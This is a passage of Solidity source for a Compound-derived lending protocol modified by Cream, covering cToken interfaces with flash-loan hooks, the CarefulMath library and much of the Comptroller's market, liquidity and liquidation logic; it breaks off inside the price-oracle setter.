totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) public view returns (uint256); function exchangeRateCurrent() public returns (uint256); function exchangeRateStored() public view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() public returns (uint256); function seize( address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint256); function _acceptAdmin() external returns (uint256); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint256); function _setReserveFactor(uint256 newReserveFactorMantissa) external returns (uint256); function _reduceReserves(uint256 reduceAmount) external returns (uint256); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint256); } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function liquidateBorrow( address borrower, uint256 repayAmount, CTokenInterface cTokenCollateral ) external returns (uint256); function _addReserves(uint256 addAmount) external returns (uint256); } contract CWrappedNativeInterface is CErc20Interface { /** * @notice Flash loan fee ratio */ uint256 public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint256 amount, uint256 totalFee, uint256 reservesFee); /*** User Interface ***/ function mintNative() external payable returns (uint256); function redeemNative(uint256 redeemTokens) external returns (uint256); function redeemUnderlyingNative(uint256 redeemAmount) external returns (uint256); function borrowNative(uint256 borrowAmount) external returns (uint256); function repayBorrowNative() external payable returns (uint256); function liquidateBorrowNative(address borrower, CTokenInterface cTokenCollateral) external payable returns (uint256); function flashLoan( ERC3156FlashBorrowerInterface receiver, address initiator, uint256 amount, bytes calldata data ) external returns (bool); function _addReservesNative() external payable returns (uint256); } contract CCapableErc20Interface is CErc20Interface, CSupplyCapStorage { /** * @notice Flash loan fee ratio */ uint256 public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint256 amount, uint256 totalFee, uint256 reservesFee); /*** User Interface ***/ function gulp() external; } contract CCollateralCapErc20Interface is CCapableErc20Interface, CCollateralCapStorage { /*** Admin Events ***/ /** * @notice Event emitted when collateral cap is set */ event NewCollateralCap(address token, uint256 newCap); /** * @notice Event emitted when user collateral is changed */ event UserCollateralChanged(address account, uint256 newCollateralTokens); /*** User Interface ***/ function registerCollateral(address account) external returns (uint256); function unregisterCollateral(address account) external; function flashLoan( ERC3156FlashBorrowerInterface receiver, address initiator, uint256 amount, bytes calldata data ) external returns (bool); /*** Admin Functions ***/ function _setCollateralCap(uint256 newCollateralCap) external; } contract CDelegatorInterface { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation( address implementation_, bool allowResign, bytes memory becomeImplementationData ) public; } contract CDelegateInterface { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /*** External interface ***/ /** * @title Flash loan receiver interface */ interface IFlashloanReceiver { function executeOperation( address sender, address underlying, uint256 amount, uint256 fee, bytes calldata params ) external; } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint256 c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { uint256 c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt( uint256 a, uint256 b, uint256 c ) internal pure returns (MathError, uint256) { (MathError err0, uint256 sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle/PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./LiquidityMiningInterface.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound (modified by Cream) */ contract Comptroller is ComptrollerV1Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an admin delists a market event MarketDelisted(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint256 oldCloseFactorMantissa, uint256 newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint256 oldCollateralFactorMantissa, uint256 newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint256 oldLiquidationIncentiveMantissa, uint256 newLiquidationIncentiveMantissa); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when liquidity mining module is changed event NewLiquidityMining(address oldLiquidityMining, address newLiquidityMining); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when borrow cap for a cToken is changed event NewBorrowCap(CToken indexed cToken, uint256 newBorrowCap); /// @notice Emitted when borrow cap guardian is changed event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian); /// @notice Emitted when supply cap for a cToken is changed event NewSupplyCap(CToken indexed cToken, uint256 newSupplyCap); /// @notice Emitted when supply cap guardian is changed event NewSupplyCapGuardian(address oldSupplyCapGuardian, address newSupplyCapGuardian); /// @notice Emitted when protocol's credit limit has changed event CreditLimitChanged(address protocol, uint256 creditLimit); /// @notice Emitted when cToken version is changed event NewCTokenVersion(CToken cToken, Version oldVersion, Version newVersion); // No collateralFactorMantissa may exceed this value uint256 internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint256[] memory) { uint256 len = cTokens.length; uint256[] memory results = new uint256[](len); for (uint256 i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint256(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.version == Version.COLLATERALCAP) { // register collateral for the borrower if the token is CollateralCap version. CCollateralCapErc20Interface(address(cToken)).registerCollateral(borrower); } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint256) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint256 oErr, uint256 tokensHeld, uint256 amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint256 allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[cTokenAddress]; if (marketToExit.version == Version.COLLATERALCAP) { CCollateralCapErc20Interface(cTokenAddress).unregisterCollateral(msg.sender); } /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint256(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint256 len = userAssetList.length; uint256 assetIndex = len; for (uint256 i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; if (assetIndex != storedList.length - 1) { storedList[assetIndex] = storedList[storedList.length - 1]; } storedList.length--; emit MarketExited(cToken, msg.sender); return uint256(Error.NO_ERROR); } /** * @notice Return a specific market is listed or not * @param cTokenAddress The address of the asset to be checked * @return Whether or not the market is listed */ function isMarketListed(address cTokenAddress) public view returns (bool) { return markets[cTokenAddress].isListed; } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); require(!isCreditAccount(minter), "credit account cannot mint"); if (!isMarketListed(cToken)) { return uint256(Error.MARKET_NOT_LISTED); } uint256 supplyCap = supplyCaps[cToken]; // Supply cap of 0 corresponds to unlimited supplying if (supplyCap != 0) { uint256 totalCash = CToken(cToken).getCash(); uint256 totalBorrows = CToken(cToken).totalBorrows(); uint256 totalReserves = CToken(cToken).totalReserves(); // totalSupplies = totalCash + totalBorrows - totalReserves (MathError mathErr, uint256 totalSupplies) = addThenSubUInt(totalCash, totalBorrows, totalReserves); require(mathErr == MathError.NO_ERROR, "totalSupplies failed"); uint256 nextTotalSupplies = add_(totalSupplies, mintAmount); require(nextTotalSupplies < supplyCap, "market supply cap reached"); } return uint256(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify( address cToken, address minter, uint256 actualMintAmount, uint256 mintTokens ) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { closeFactorMantissa = closeFactorMantissa; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256) { return redeemAllowedInternal(cToken, redeemer, redeemTokens); } function redeemAllowedInternal( address cToken, address redeemer, uint256 redeemTokens ) internal view returns (uint256) { if (!isMarketListed(cToken)) { return uint256(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint256(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint256 shortfall) = getHypotheticalAccountLiquidityInternal( redeemer, CToken(cToken), redeemTokens, 0 ); if (err != Error.NO_ERROR) { return uint256(err); } if (shortfall > 0) { return uint256(Error.INSUFFICIENT_LIQUIDITY); } return uint256(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!isMarketListed(cToken)) { return uint256(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(cToken), borrower); if (err != Error.NO_ERROR) { return uint256(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint256(Error.PRICE_ERROR); } uint256 borrowCap = borrowCaps[cToken]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint256 totalBorrows = CToken(cToken).totalBorrows(); uint256 nextTotalBorrows = add_(totalBorrows, borrowAmount); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } (Error err, , uint256 shortfall) = getHypotheticalAccountLiquidityInternal( borrower, CToken(cToken), 0, borrowAmount ); if (err != Error.NO_ERROR) { return uint256(err); } if (shortfall > 0) { return uint256(Error.INSUFFICIENT_LIQUIDITY); } return uint256(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { closeFactorMantissa = closeFactorMantissa; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256) { // Shh - currently unused payer; borrower; repayAmount; if (!isMarketListed(cToken)) { return uint256(Error.MARKET_NOT_LISTED); } return uint256(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint256 actualRepayAmount, uint256 borrowerIndex ) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { closeFactorMantissa = closeFactorMantissa; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256) { require(!isCreditAccount(borrower), "cannot liquidate credit account"); // Shh - currently unused liquidator; if (!isMarketListed(cTokenBorrowed) || !isMarketListed(cTokenCollateral)) { return uint256(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint256 shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint256(err); } if (shortfall == 0) { return uint256(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint256 borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); uint256 maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (repayAmount > maxClose) { return uint256(Error.TOO_MUCH_REPAY); } return uint256(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 actualRepayAmount, uint256 seizeTokens ) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { closeFactorMantissa = closeFactorMantissa; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); require(!isCreditAccount(borrower), "cannot sieze from credit account"); // Shh - currently unused liquidator; seizeTokens; if (!isMarketListed(cTokenCollateral) || !isMarketListed(cTokenBorrowed)) { return uint256(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint256(Error.COMPTROLLER_MISMATCH); } return uint256(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { closeFactorMantissa = closeFactorMantissa; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); require(!isCreditAccount(dst), "cannot transfer to a credit account"); // Shh - currently unused dst; // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens return redeemAllowedInternal(cToken, src, transferTokens); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { closeFactorMantissa = closeFactorMantissa; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param receiver The account which receives the tokens * @param amount The amount of the tokens * @param params The other parameters */ function flashloanAllowed( address cToken, address receiver, uint256 amount, bytes calldata params ) external view returns (bool) { return !flashloanGuardianPaused[cToken]; } /** * @notice Update CToken's version. * @param cToken Version of the asset being updated * @param newVersion The new version */ function updateCTokenVersion(address cToken, Version newVersion) external { require(msg.sender == cToken, "only cToken could update its version"); // This function will be called when a new CToken implementation becomes active. // If a new CToken is newly created, this market is not listed yet. The version of // this market will be taken care of when calling `_supportMarket`. if (isMarketListed(cToken)) { Version oldVersion = markets[cToken].version; markets[cToken].version = newVersion; emit NewCTokenVersion(CToken(cToken), oldVersion, newVersion); } } /** * @notice Check if the account is a credit account * @param account The account needs to be checked * @return The account is a credit account or not */ function isCreditAccount(address account) public view returns (bool) { return creditLimits[account] > 0; } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint256 sumCollateral; uint256 sumBorrowPlusEffects; uint256 cTokenBalance; uint256 borrowBalance; uint256 exchangeRateMantissa; uint256 oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns ( uint256, uint256, uint256 ) { (Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal( account, CToken(0), 0, 0 ); return (uint256(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns ( Error, uint256, uint256 ) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint256 redeemTokens, uint256 borrowAmount ) public view returns ( uint256, uint256, uint256 ) { (Error err, uint256 liquidity, uint256 shortfall) = getHypotheticalAccountLiquidityInternal( account, CToken(cTokenModify), redeemTokens, borrowAmount ); return (uint256(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint256 redeemTokens, uint256 borrowAmount ) internal view returns ( Error, uint256, uint256 ) { // If credit limit is set to MAX, no need to check account liquidity. if (creditLimits[account] == uint256(-1)) { return (Error.NO_ERROR, uint256(-1), 0); } AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint256 oErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint256 i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot( account ); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } // Unlike compound protocol, getUnderlyingPrice is relatively expensive because we use ChainLink as our primary price feed. // If user has no supply / borrow balance on this asset, and user is not redeeming / borrowing this asset, skip it. if (vars.cTokenBalance == 0 && vars.borrowBalance == 0 && asset != cTokenModify) { continue; } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice); // sumCollateral += tokensToDenom * cTokenBalance vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); // sumBorrowPlusEffects += oraclePrice * borrowBalance vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt( vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects ); // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt( vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects ); // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt( vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects ); } } // If credit limit is set, no need to consider collateral. if (creditLimits[account] > 0) { vars.sumCollateral = creditLimits[account]; } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 actualRepayAmount ) external view returns (uint256, uint256) { /* Read oracle prices for borrowed and collateral markets */ uint256 priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint256 priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint256(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint256 exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error Exp memory numerator = mul_( Exp({mantissa: liquidationIncentiveMantissa}), Exp({mantissa: priceBorrowedMantissa}) ); Exp memory denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa})); Exp memory ratio = div_(numerator, denominator); uint256 seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount); return (uint256(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) 